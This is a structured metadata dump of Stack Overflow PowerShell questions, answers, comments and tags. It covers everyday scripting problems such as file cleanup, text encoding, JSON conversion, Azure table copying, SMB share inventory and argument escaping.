accepted answer: http://stackoverflow.com/a/79181231
type: Question
has title: Why does it take over a minute for PS to change directory
downvote count: 0
has body: $directoryPath = "C:\Logs" $daysOld = 30 $cutoffDate = (Get-Date).AddDays(-$daysOld) [System.IO.Directory]::GetFiles($directoryPath, "*", [System.IO.SearchOption]::AllDirectories) | ForEach-Object { $file = $_ $fileInfo = New-Object System.IO.FileInfo $file if ($fileInfo.LastWriteTime -lt $cutoffDate) { $fileInfo.Delete() Write-Output "Deleted: $file" (Get-Date) } } In output can see that it takes ages between directories, over a minute, thoughts ?
answer count: 1
has comment: http://stackoverflow.com/comment/139624264
score: 2
upvote count: 2
tagged with: powershell
tagged with: .net

http://stackoverflow.com/q/79108858
answer count: 1
has comment: http://stackoverflow.com/comment/139492569
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139493104
has answer: http://stackoverflow.com/a/79111268
score: 1
upvote count: 1
favorite count: 0
has title: How to make tree.exe command available in powershell?
tagged with: windows
has body: I'm using tree.exe from Cygwin, as the preferred version over the severely outdated and usless windows tree.com version found in C:\Windows\System32. Since it runs fine in powershell when dot-sourcing it using: . 'C:\cygwin64\bin\tree.exe', I hoped I could just replace the Windows one, by moving it there and renaming tree.com to tree_disabled.com. However, this doesn't work. The command gives no error and nothing at all happens. So I have no idea what's going on, as I already tried copying the ACL from tree.com to tree.exe, and checking the PATH. How can I make my tree.exe run as a normal command from powershell?
type: Question
has comment: http://stackoverflow.com/comment/139494779
tagged with: powershell

http://stackoverflow.com/comment/139513901
type: QuestionComment
type: Comment
has text: What `Convert-FileName` and what does it do? `[System.IO.Directory]::EnumerateFiles($Directory,'*')` would get the file list MUCH faster than `Get-ChildItem` but only as a string array of their full paths so I don't know if it would work with that cmdlet
comment on: http://stackoverflow.com/q/79119400
score: 1

http://stackoverflow.com/q/79149663
has comment: http://stackoverflow.com/comment/139566402
answer count: 0
linked to: http://stackoverflow.com/q/29971624
type: Question
tagged with: cmake
tagged with: powershell
has body: I have a flutter project that was working for four days. Last night I updated the code and it broke. I reverted the changes but it stayed broken. I always used to run it in vscode's powershell. I discovered after a lot of trial and error the code compiles on every other terminal (powershell, command prompt, powershell on android studio, etc...). According to vscode, there is an error within one of the cmake files (line 21, its commented as such in the example so you can ctrl + f). This error is not tagged as an error in android studio. Does anyone have any idea about what could be happening specifically in regards to vscode and how to fix it? I have git on path (git runs on every terminal in my computer, vscode's powershell included) Thank you in advance. Operating System: windows 10 ./windows/runner/CmakeLists.txt cmake_minimum_required(VERSION 3.14) project(runner LANGUAGES CXX) # Define the application target. To change its name, change BINARY_NAME in the # top-level CMakeLists.txt, not the value here, or `flutter run` will no longer # work. # # Any new source files that you add to the application should be added here. add_executable(${BINARY_NAME} WIN32 "flutter_window.cpp" "main.cpp" "utils.cpp" "win32_window.cpp" "${FLUTTER_MANAGED_DIR}/generated_plugin_registrant.cc" "Runner.rc" "runner.exe.manifest" ) # Apply the standard set of build settings. This can be removed for applications # that need different build settings. apply_standard_settings(${BINARY_NAME}) #line 21, broken according to only vscode # Add preprocessor definitions for the build version. target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION=\"${FLUTTER_VERSION}\"") target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION_MAJOR=${FLUTTER_VERSION_MAJOR}") target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION_MINOR=${FLUTTER_VERSION_MINOR}") target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION_PATCH=${FLUTTER_VERSION_PATCH}") target_compile_definit…
has comment: http://stackoverflow.com/comment/139566258
tagged with: flutter
tagged with: git
score: 0
type: UnansweredQuestion
tagged with: visual-studio-code
has title: Flutter project broke specifically through vscode's terminal. Any idea how to fix this?

manifest
tag name: manifest
tags question: http://stackoverflow.com/q/79146364
type: Tag
tags question: http://stackoverflow.com/q/79137830
tags question: http://stackoverflow.com/q/79474431

http://stackoverflow.com/q/79096641
has answer: http://stackoverflow.com/a/79100376
has title: Error while copying Azure Storage table from one Storage to another storage table using Powershell script
possible better answer: http://stackoverflow.com/a/79100376
accepted answer: http://stackoverflow.com/a/79097057
has body: Facing Error while copying Azure Storage table from one Storage to another storage table using Powershell script "InvalidOperation: Method invocation failed because [System.String] does not contain a method named 'ExecuteQuerySegmentedAsync'" #Set Variables to define source and destination values $sourcestorageaccountname = "stlpttoragetst" $sourceresourcegroupname = "RG_SUPPLY__ADF_TEST_AUE" $destinationstorageaccountname = "stlpestorage" $destinationresourcegroupname = "RG_SUPPLY_DEV_AUE" $sourcetablename = "DataConfig" $desttablename = "TestTable" #Get storage account keys $sourcestorageaccount = Get-AzStorageAccount -ResourceGroupName $sourceresourcegroupname -Name $sourcestorageaccountname $destinationstorageaccount = Get-AzStorageAccount -ResourceGroupName $destinationresourcegroupname -Name $destinationstorageaccountname $sourcekey = "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$g==" $destinationkey = "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" #Function to create CloudTable refernce function Get-CloudTable { param ( [string]$accountName, [string]$accountKey, [string]$tableName ) $storageContext = New-AzStorageContext -StorageAccountName $accountName -StorageAccountKey $accountKey #Get Cloud Table Refernce $table = Get-AzStorageTable -Name $tableName -Context $storageContext return $table } #Get Source table and Destination table refernce $sourceTable = Get-CloudTable -accountName $sourcestorageaccountname -accountKey $sourcekey -tableName $sourceTablename $destinationTable = Get-CloudTable -accountName $destinationstorageaccountname -accountKey $destinationkey -tableName $desttablename #Copy Entity from Source Table to Destination table $entities = Get-AzTableRowAll -table $sourcetablename foreach ($entity in $entities){ # #Insert or replace entity in destination table $insertOperation = Add-AzTableRow -Table $desttablename -partitionKey $entity.PartitionKey -RowKey $entity.RowKey -property $entity.Properties } Write-Output "Table Copied Completed"
has answer: http://stackoverflow.com/a/79097057
has comment: http://stackoverflow.com/comment/139469910
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/139469877
tagged with: powershell
type: AnsweredQuestion
tagged with: azure
tagged with: azure-storage
score: 0

http://stackoverflow.com/comment/139742202
score: 0
has text: First of all, please clarify which version of the PnP Module you are using. Is it SharePointPnPPowerShellOnline, or is it PnP.PowerShell? Also, please clarify what you need an answer on: How to use PnP to create a Folder in a OneDrive SiteCollection, or use the Graph API to create a Folder in a OneDrive SiteCollection
type: QuestionComment
comment on: http://stackoverflow.com/q/79229441
type: Comment

http://stackoverflow.com/q/79072446
has comment: http://stackoverflow.com/comment/139430339
has comment: http://stackoverflow.com/comment/139425409
has body: In Powershell I'm trying to output a simple bullet (•) to be appended to a string. However, when I run the code, instead of showing the bullet I see:â€¢ instead. Earlier on in the code, I have the following two lines set: # Earlier on # Force UTF-8 Encoding: $OutputEncoding = [System.Text.Encoding]::UTF8 [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 ... $version_str = &quot;•&quot; * $version $fullname = $fullname + &quot; &quot; + $version_str ... # Write the processed data to a CSV file $outputData | Out-File -FilePath $outputCsv -Encoding UTF8 For example if $version = 3 and $fullname = Paul. I should see Paul ••• but instead, I see: Paul â€¢â€¢â€¢ in the output file and the terminal. If it matters much, this happens both when I run the code in Visual Studio and in Powershell itself. My current version is 5.1.22621.4249
duplicate of: http://stackoverflow.com/q/54789907
has comment: http://stackoverflow.com/comment/139425403
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139430193
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/139425392
has comment: http://stackoverflow.com/comment/139425375
linked to: http://stackoverflow.com/q/66553344
type: UnansweredQuestion
score: 1
upvote count: 1
has title: Powershell still outputting weird characters despite being set for Unicode
favorite count: 0
linked to: http://stackoverflow.com/q/54789907
type: Question
has comment: http://stackoverflow.com/comment/139425381
has comment: http://stackoverflow.com/comment/139425399
answer count: 0

http://stackoverflow.com/q/79164005
has body: I'm trying to understand differences in ConvertTo-Json behaviour when calling the Cmdlet directly using the -InputObject parameter, and when passing objects in the pipeline. Please see the below code: # Convert output to Json, pipe to the Cmdlet $jsonString = Get-PhysicalDisk | ConvertTo-Json $disks = $jsonString | ConvertFrom-Json $disks.Size # Output: 1024209543168 All OK, seems normal $jsonString = ConvertTo-Json -InputObject (Get-PhysicalDisk) $disks = $jsonString | ConvertFrom-Json $disks.Size # No output $null -eq $disks.Size # True Why is there a difference when using the InputObject parameter in this way? Using PowerShell 5.1, Windows Server 2019
type: Question
answer count: 1
downvote count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79164427
accepted answer: http://stackoverflow.com/a/79164427
tagged with: powershell
upvote count: 1
favorite count: 0
has title: Why does ConvertTo-Json behave differently when accepting pipeline input?
score: 1
has comment: http://stackoverflow.com/comment/139593083

http://stackoverflow.com/comment/139706434
type: Comment
has text: @Jahnavi - Yes, I am :)
score: 0
comment on: http://stackoverflow.com/q/79223169
type: QuestionComment

http://stackoverflow.com/comment/139621471
comment on: http://stackoverflow.com/a/79177773
type: Comment
score: 0
has text: @mklement0 : You are wrong!!! It been around in DOS BIOS for a long time.
type: AnswerComment

http://stackoverflow.com/comment/139678965
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79209007
score: 0
has text: @WalterMitty I am interested in any solution and yours sounds like a great way to get past my issue. If you don't mind posting your template engine in PS, I am eager to see if it will work for me too

http://stackoverflow.com/comment/139512146
comment on: http://stackoverflow.com/q/79115944
has text: @jdweng, I tried that just now and the same result. Blank.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79212301
has comment: http://stackoverflow.com/comment/139699401
has body: What seems to be a reasonable approach is the one from this answer, essentially, open the file with a StreamReader (it tries to detect the right encoding) and read char by char to determine if the character is a control character, in this case it's using: Greater than NULL (0) and lower than Back Space (8) OR Greater than Carriage Return (13) and lower than Substitute (26) If that condition is met then the file is binary otherwise it's a text file, of course this isn't absolute but should work for most cases. Something to note, OP in his answer decided to read bytes until EOF and this can be slow. I decided to simply translate the c# code to powershell, you can however add a condition in the while loop to limit to how many characters you want to read before deciding if it's or not a binary. function Test-Binary { [CmdletBinding(DefaultParameterSetName = 'Path')] param( [Parameter( ParameterSetName = 'LiteralPath', ValueFromPipelineByPropertyName, Mandatory)] [Alias('PSPath')] [string[]] $LiteralPath, [Parameter( ParameterSetName = 'Path', Mandatory, ValueFromPipeline, Position = 0)] [SupportsWildcards()] [string[]] $Path ) begin { # Taken from: https://stackoverflow.com/a/26652983/15339544 class Utils { hidden static [char] $NUL = [char] 0 # Null char hidden static [char] $BS = [char] 8 # Back Space hidden static [char] $CR = [char] 13 # Carriage Return hidden static [char] $SUB = [char] 26 # Substitute hidden static [bool] IsControlChar([int] $ch) { return ($ch -gt [Utils]::NULL -and $ch -lt [Utils]::BS) -or ($ch -gt [Utils]::CR -and $ch -lt [Utils]::SUB) } static [bool] IsBinary([System.IO.FileInfo] $fileinfo) { if ($fileinfo.Length -eq 0) { return $false } $reader = $null try { $reader = [System.IO.StreamReader]::new($fileinfo.FullName) while (($char = $reader.Read()) -ne -1) { if ([Utils]::IsControlChar($char)) { return $true } } return $false } finally { if ($reader) { $reader.Dispose() } } } } } process { foreach ($item in Get-Item @PSBoundParameters) { if ($i…
answers question: http://stackoverflow.com/q/79211988
has comment: http://stackoverflow.com/comment/139682334
downvote count: 0
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/139699574
upvote count: 3
has comment: http://stackoverflow.com/comment/139708610

http://stackoverflow.com/q/79130831
tagged with: powershell
linked to: http://stackoverflow.com/q/4037939
has comment: http://stackoverflow.com/comment/139532294
score: 0
has comment: http://stackoverflow.com/comment/139532292
has title: Virtual Environment setup issue in Powershell
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/139531943
tagged with: visual-studio-code
duplicate of: http://stackoverflow.com/q/4037939
has body: In vs code when I am trying to setup virtual environmentin powershell, it shows this message. .venv\Scripts\activate : File C:\PYTHON\.venv\Scripts\Activate.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:1 + .venv\Scripts\activate + ~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess I used this command to activate the virtual env .venv\Scripts\activate Then I found a solution online for this, It said to use the command Set-ExecutionPolicy RemoteSigned -Scope Process It worked, but I am forced to use this command every time when I try to activate Virtual Environment. Its like when I close the terminal and open a new one, I have to run this command. The virtual environment is working fine on cmd, the issue is only for powershell. PS: I tried to set the command from the windows powershell and the vscode. Also I am new to python and vscode. Expecting to activate a virtual env in the powershell.
type: Question
answer count: 0
tagged with: virtual-environment

http://stackoverflow.com/comment/139529526
has text: Gentlemen, I have groups from template account going over to newly created accounts. Working on getting those properties over now.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79116129

http://stackoverflow.com/q/79097282
score: 1
has body: I have 50 files in a folder that has to be loaded to SQL. In most of the file(but not in all) the very first character is a hashtag that i would like to delete because it creates difficulty in the column mapping. So I would not want to loop through all the lines of the file just delete the very first character in case it is a hashtag and save the file. So i need to analyse also if the first character is a hashtag. If it is, then it should be deleted, if it is not, then i should simply exit from the file. What is the fastest method for this? I tried these: $Path = "D:\folder\myfolder" $OldText = "#" $NewText = "" --> this loops through all the file looking for hashtags (Get-Content 'D:\folder\myfoldermyfile.txt' -raw) -replace '^.' | Set-Content 'D:\folder\myfoldermyfile.txt' --> this removed the first character of each line, so its not good for me.
upvote count: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/79097306
has title: remove the first character of each .txt file with Powershell
answer count: 2
tagged with: string
tagged with: replace
accepted answer: http://stackoverflow.com/a/79099524
type: Question
has answer: http://stackoverflow.com/a/79099524
downvote count: 0
tagged with: http://stackoverflow.com/tag/txt
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79097306
tagged with: http://stackoverflow.com/tag/csv

http://stackoverflow.com/comment/139458200
score: 0
has text: @MathiasR.Jessen woops, didnt read the "without the header UserPrincipalName...". Thanks!
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79090339

http://stackoverflow.com/q/79134985
downvote count: 1
tagged with: powershell
has title: Trying to run PowerShell script through C# Winforms but automation namespace is missing. How to reference the automation?
tagged with: winforms
tagged with: c#
score: 0
type: UnansweredQuestion
upvote count: 1
favorite count: 0
answer count: 0
has body: In the nuget package manager console, I typed PM&gt; Install-Package Microsoft.PowerShell.SDK and it installed it fine. But still the automation is missing. using System.Management.Automation; using System.Management.Automation.Runspaces; I'm using Visual Studio, C#, Winforms, .NET 4.8
has comment: http://stackoverflow.com/comment/139546661
type: Question
has comment: http://stackoverflow.com/comment/139539582

http://stackoverflow.com/q/79140084
has body: I was trying to enumerate all open shares with their permissions but getting Access Denied error when trying to use "Get-SmbShareAccess" on the open shares. SO far I could try the below script . $ComputersNames = Get-ADComputer -Filter * | select Name $FileShares = [System.Collections.Generic.List[pscustomobject]]::new() foreach ($ComputerName in $ComputersNames) { $newRow = New-Object -TypeName psobject $newRow | Add-Member -NotePropertyName 'Computer_Name' -NotePropertyValue $ComputerName try { $connected = (Test-Connection -BufferSize 32 -Count 1 -ComputerName $ComputerName -Quiet -ErrorAction Ignore) if ($connected) { $Shares = net view \\$ComputerName /all 2>&1 | select-object -Skip 7 | ? { $_ -match 'disk*' } | % { $_ -match '^(.+?)\s+Disk*' | out-null; $matches[1] } foreach ($Share in $Shares) { $Access = Invoke-Command -ComputerName $ComputerName -ScriptBlock { Get-SmbShareAccess } $newRow | Add-Member -NotePropertyName 'Share_Name' -NotePropertyValue $Share -Force $newRow | Add-Member -NotePropertyName 'Access' -NotePropertyValue $Access -Force } } } catch { Write-Host $_.Exception.Message Write-Host $_.Exception } $FileShares.Add($newRow) | Out-Null } Firstly is there any workaround to get the user permissions on the smb shares of the remote computers without getting access denied error Secondly even if a computer has more than 1 open shares but the output of $newRow prints only the last share Thirdly I need to get the output of the script in a proper format exported to either txt file or csv , something like every open shares with their permissions against their computer Name Thanks in Advnace
tagged with: powershell
has comment: http://stackoverflow.com/comment/139549379
type: AnsweredQuestion
tagged with: acl
score: 0
has comment: http://stackoverflow.com/comment/139548741
tagged with: smb
has title: Powershell script - Enumerating all SMB shares with their permissions remotely
type: Question
answer count: 1
accepted answer: http://stackoverflow.com/a/79141075
has answer: http://stackoverflow.com/a/79141075

http://stackoverflow.com/a/79211416
upvote count: 3
score: 3
has body: The sad reality in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) as well as in (now obsolete) versions of PowerShell (Core) 7 (up to v7.2.x) is that an extra, manual layer of \-escaping of embedded " characters is required in arguments passed to external programs. This is fixed in PowerShell v7.3+, with selective exceptions on Windows. Therefore, in PowerShell 7.3+, your calls work as intended, EXCEPT if you call a batch file, among other legacy programs. The old, broken behavior is still available as an opt-in and by default still applies selectively to certain programs, notably batch files. You can avoid this by setting the $PSNativeCommandArgumentPassing preference variable to 'Standard', but this comes with caveats; see next section. See this answer for details. Therefore, in Windows PowerShell (and now-obsolete PowerShell 7.2- versions; in PowerShell 7.3+, the calls work analogously with the \ instances removed): echo_args.exe "hello \`"\`"world\`"\`"" Alternatively, since no string interpolation is needed in your case, using a verbatim string ('...') obviates the need for PowerShell's escaping: echo_args.exe 'hello \"\"world\"\"' However, even when an expandable (interpolating) string ("...") is needed, there is a way to avoid the need for PowerShell's escaping by way of using the (invariably multiline) here-string variant $addressee = 'world' echo_args.exe @" hello \"\"$addressee\"\" "@ Finally, for the sake of completeness, both PowerShell editions (all versions) offer --%, the so-called stop-parsing token, which essentially copies what follows it verbatim to the process command line constructed behind the scenes. This entails severe limitations, however, notably the inability to reference PowerShell variables - see the bottom section of this answer for details: # Use of the stop-parsing token, --% # Both variations work, because most CLIs on Windows accept "" and \" # interchange…
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79209426
has comment: http://stackoverflow.com/comment/139682251
has comment: http://stackoverflow.com/comment/139682254
accepted answer of: http://stackoverflow.com/q/79209426
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139722887
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79228955
has text: @not2qubit `$server` is a complex object, can't save into an `env:` var which only allows strings. If you close your shell then the pipe is gone, no need to worry about that. no idea about name-less pipes, you probably mean anonymous pipe
type: AnswerComment

ms-word
tag name: ms-word
type: Tag
tags question: http://stackoverflow.com/q/79211810
tags question: http://stackoverflow.com/q/79268940
tags question: http://stackoverflow.com/q/79450850

http://stackoverflow.com/q/79112268
has title: How do I handle a Git error in Powershell (Preferably V5 compatable)
type: Question
downvote count: 0
tagged with: automation
answer count: 1
tagged with: error-handling
tagged with: powershell
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has body: I've never programed in PowerShell before, but I have coded in JS quite a bit so I'm not new to programming. I'm floundering around attempting to re-create my Bash script to automatically download BitBurner (An open source game on GitHub) and build it (Assuming there has been a new commit since the last time the script was run). I'm mostly testing around right now to find out roughly what I'll need for the final script and I'm stuck on handling Git errors, the main one I'm focused on right now is fatal: not a git repository (or any of the parent directories): .git. Currently I can check for Git not being installed as well as the folder not existing, but but I want one more check to see if the folder is a valid Git repository in case the folder is empty or the .git folder is deleted for whatever reason. My current code is this: $ErrorActionPreference = 'stop'; $bbGamePath = 'G:/BitBurnerGame'; try { git --version; # Do nothing with this. This is a quick check to see if Git is installed or not Set-Location $bbGamePath; if (!(git fetch --dry-run -eq '')) { if ($LASTEXITCODE -eq 128) { Write-Error -Message 'Not a valid git repository.' }; } } catch [System.Management.Automation.CommandNotFoundException] { Write-Host -ForegroundColor Red 'Git is not installed!'; # Should catch the Git Not Installed error, I can probably find this one. } catch [System.Management.Automation.ItemNotFoundException] { Write-Host -ForegroundColor Yellow 'Folder not found!'; # Should catch the error of the folder not existing, Clone from the repo and continue from here. } catch { Write-Host -ForegroundColor Yellow 'Error 128'; # Secondary to the above error, should throw if the folder exists but is not a valid git repository folder (AKA the .git folder does NOT exist) } Set-Location D:/; I'm stuck trying to find some sort of solution similar to catch [System.Management.Automation.ItemNotFoundException] but because git is an external cmdlet it seems there's no way of doing this in particular? Ob…
has answer: http://stackoverflow.com/a/79115818

http://stackoverflow.com/comment/139474400
type: AnswerComment
has text: 0x4242 is just 'BB'.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79098740

http://stackoverflow.com/comment/139449974
type: Comment
score: 0
has text: Unfortunately, it didn't work.
comment on: http://stackoverflow.com/q/79085917
type: QuestionComment

http://stackoverflow.com/a/79172973
answers question: http://stackoverflow.com/q/79126458
score: 0
has body: At the moment, this is the working design that has been achieved. #Request body $auth = [xml]" " $backup = [xml]@" <asi_input enable="false" _id="0"/> <asi_input enable="true" _id="2"/> <_all _id="8"> <plprep main_globid="2"/> </_all> "@ $primary = [xml]@" <asi_input enable="true" _id="0"/> <asi_input enable="false" _id="2"/> <_all _id="8"> <plprep main_globid="0"/> </_all> "@ $check = [xml]@" <_all _id="8"> <plprep _select="main_globid"/> </_all> "@ #POST requests by URL + Body function Select-Replacer { [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$url, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [xml]$body ) $ErrorActionPreference = "STOP" try { $response = Invoke-WebRequest -Uri $url -Method Post -ContentType "text/xml" -Body $body Write-Host ("RESPONSE CODE - "+$response.StatusCode) -Foregroundcolor Green Write-Host ("CONNECTION - "+$response.StatusDescription) -Foregroundcolor Green $sessionid = ([xml] $response.Content).response.session_id #Write-Host ("session_id in function - "+$sessionid) $status = ([xml]$response.Content).response.status.status_text #Write-Host ("execution status in a function - "+$status) $asiout = ([xml]$response.Content).response.data.ports.asi_output.plprep.main_globid #Write-Host ("source id in function - "+$asiout) } catch { #$e = $Error[0].Exception $e = $_.Exception Write-Host ("ERROR - "+$e.Message) -Foregroundcolor Red $ecode = [int]$e.Response.StatusCode if ($ecode -eq 404) { Write-Host ("RESPONSE CODE - "+$e.Response.StatusCode.value__) -Foregroundcolor Red Write-Host ("NO CONNECTION - "+$e.Response.StatusDescription) -Foregroundcolor Red } else { Write-Host ("RESPONSE CODE - "+$e.Response.StatusCode.value__) -ForegroundColor Yellow Write-Host ("SOMETHING WENT WRONG - "+$e.Response.StatusDescription) -ForegroundColor Yellow } } $ErrorActionPreference = "CONTINUE" Return @{"session"=$sessionid; "status"=$status; "source"=$asiout;} } #Menu with the ability to clear the console functio…
accepted answer of: http://stackoverflow.com/q/79126458
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/79136266
score: 0
tagged with: visual-studio-2022
tagged with: visual-studio
has title: Access is denied issue seen when launching Developer command prompt for VS 2022
type: Question
answer count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139560886
has answer: http://stackoverflow.com/a/79136661
tagged with: ide
has body: I am seeing a "Access is Denied" issue when launching Developer command prompt for VS 2022 I am trying to launch the prompt from Start Menu--> Developer command prompt for VS 2022 --> Run as Administrator First I get the windows prompt with the below message: "This App Cant run on your PC" "find a version for your PC, Check with software publisher" After I click on Ok, I see the prompt with the following message: ********************************************************************** ** Visual Studio 2022 Developer Command Prompt v17.11.5 ** Copyright (c) 2022 Microsoft Corporation ********************************************************************** Access is denied. C:\Program Files\Microsoft Visual Studio\2022\Enterprise> From what I have observed is that C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat tries calling internally the below command. powershell.exe -NoProfile -Command "& {Import-Module '%~dp0\Microsoft.VisualStudio.DevShell.dll'; Send-VsDevShellTelemetry -NewInstanceType Cmd;}" At this point is where we have the access issue I have also observed the similar issue while launching one of the application cmd file echo set Falcon Specific Environment variables / Toggles rem Set environment variable SET_LOCALIP, which is used by many services. rem #Remarks: If more network adapters are available, choose the one which has the Internet or other sl artifacts can be accessed. for /f "delims=" %%a in ('powershell -command "(Get-NetIPAddress | Where InterfaceIndex -EQ ((Get-NetConnectionProfile | Where Name -like "*.sl.net").InterfaceIndex)).IPAddress"') do ( set SET_LOCALIP=%%a ) if not defined SET_LOCALIP ( for /f "delims=" %%a in ('powershell -command "(Get-NetIPAddress -PrefixOrigin Dhcp | Where-Object {$_.ValidLifetime -Lt ([TimeSpan]::MaxValue) -and $_.AddressState -Eq 'Preferred'}).IPAddress"') do ( set SET_LOCALIP=%%a ) ) Note: I am able to execute other PowerShell scripts independently. Also, running the command indep…
has comment: http://stackoverflow.com/comment/139542421
type: UnansweredQuestion

http://stackoverflow.com/comment/139641249
type: Comment
score: 0
has text: Thank you so much, Keith. This worked perfectly and I can now insert it into the rest of my script. I hope you have a great weekend and appreciate your help with this.
type: AnswerComment
comment on: http://stackoverflow.com/a/79185659

http://stackoverflow.com/a/79213080
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/139698807
has body: Remove the "-c" in your command: apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: powershell-002 namespace: argo-workflows spec: entrypoint: run-powershell templates: - name: run-powershell script: image: mcr.microsoft.com/powershell:latest command: ["pwsh"] ### <<---- HERE source: | Write-Host "Hello, Argo! This is a PowerShell script." $date = Get-Date Write-Host "The current date and time is: $date"
answers question: http://stackoverflow.com/q/79211591
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79211591

http://stackoverflow.com/comment/139430495
has text: @SantiagoSquarzon Sure.
score: 0
comment on: http://stackoverflow.com/q/79074308
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139637546
type: Comment
score: 0
has text: I run a script that contains the following steps, and it returned the correct number of users # Initialize variables for pagination $allUsers = @() $continuationToken = $null do { $apiUrl = "vsaex.dev.azure.com/$organization/_apis/…" if ($continuationToken) { $apiUrl += "&continuationToken=$continuationToken" }. # Invoke API $response = Invoke-RestMethod -Uri $apiUrl -Headers $devOpsHeaders -Method Get
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466

http://stackoverflow.com/comment/139682966
has text: @JeremyLakeman I did get this working. I opened [this issue](https://github.com/PowerShell/PowerShell/issues/24612). There is a working demonstration there. Thank you for helping me get there.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79195703
score: 0

http://stackoverflow.com/q/79102588
downvote count: 0
type: AnsweredQuestion
tagged with: powershell
answer count: 2
has title: CD command in batch file does not work in PowerShell
has answer: http://stackoverflow.com/a/79103219
tagged with: cmd
has comment: http://stackoverflow.com/comment/139486490
favorite count: 0
accepted answer: http://stackoverflow.com/a/79103219
has body: Here is my batch file: CD c:/ PAUSE When run in Windows PowerShell, I get this output: PS C:\some\path\here&gt; .\myscript.bat C:\some\path\here&gt;CD c:/ c:\&gt;PAUSE Press any key to continue . . . PS C:\some\path\here&gt; After the program terminates, I'm back where I started! Meanwhile, when run in cmd: C:\some\path\here&gt;.\myscript.bat C:\some\path\here&gt;CD c:/ c:\&gt;PAUSE Press any key to continue . . . c:\&gt; I get the behavior I want, where I remain in the C:\ directory after the program ends. Why is this the case, and how can I get this behavior in PowerShell too?
tagged with: batch-file
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/79102652
possible better answer: http://stackoverflow.com/a/79102652
score: 4

azure-powershell
tags question: http://stackoverflow.com/q/79184599
type: Tag
tags question: http://stackoverflow.com/q/79110476
tags question: http://stackoverflow.com/q/79104926
tags question: http://stackoverflow.com/q/79206642
tags question: http://stackoverflow.com/q/79071809
tag name: azure-powershell
tags question: http://stackoverflow.com/q/79193823
tags question: http://stackoverflow.com/q/79245262
tags question: http://stackoverflow.com/q/79386797
tags question: http://stackoverflow.com/q/79331379
tags question: http://stackoverflow.com/q/79323653
tags question: http://stackoverflow.com/q/79346257
tags question: http://stackoverflow.com/q/79279210
tags question: http://stackoverflow.com/q/79279965
tags question: http://stackoverflow.com/q/79322753
tags question: http://stackoverflow.com/q/79245155
tags question: http://stackoverflow.com/q/79531731
tags question: http://stackoverflow.com/q/79523267
tags question: http://stackoverflow.com/q/79539689
tags question: http://stackoverflow.com/q/79455575

http://stackoverflow.com/comment/139497729
comment on: http://stackoverflow.com/q/79112116
type: QuestionComment
type: Comment
score: 0
has text: Btw, get-wmiobject can do anything wmic can do.

http://stackoverflow.com/comment/139544683
has text: This looks like an oversight in the parameter design. I'd suggest opening an issue on GitHub to add `[AllowEmptyCollection()]` to the relevant parameter definitions
type: QuestionComment
comment on: http://stackoverflow.com/q/79137830
type: Comment
score: 1

http://stackoverflow.com/comment/139548852
type: QuestionComment
type: Comment
has text: If it really is "intermittent", then it is not reproducible... To get help, I recommend to make it reproducible ;) When and how do you trigger the action in all your debugging/testing where it sometimes works and sometimes does not?
score: 0
comment on: http://stackoverflow.com/q/79110614

http://stackoverflow.com/comment/139636503
has text: @RanadipDutta your link is irrelevant - variables in ARM templates have nothing to do with Azure Pipelines variables.
type: QuestionComment
comment on: http://stackoverflow.com/q/79176549
type: Comment
score: 0

http://stackoverflow.com/comment/139539453
comment on: http://stackoverflow.com/q/79133521
score: 1
type: QuestionComment
has text: As an aside: The PowerShell ISE is [no longer actively developed](https://docs.microsoft.com/en-us/powershell/scripting/components/ise/introducing-the-windows-powershell-ise#support) and [there are reasons not to use it](https://stackoverflow.com/a/57134096/45375) (bottom section), notably not being able to run _PowerShell (Core) 7_. The actively developed, cross-platform editor that offers the best PowerShell development experience is [Visual Studio Code](https://code.visualstudio.com/) with its [PowerShell extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode.PowerShell).
type: Comment

http://stackoverflow.com/comment/139495087
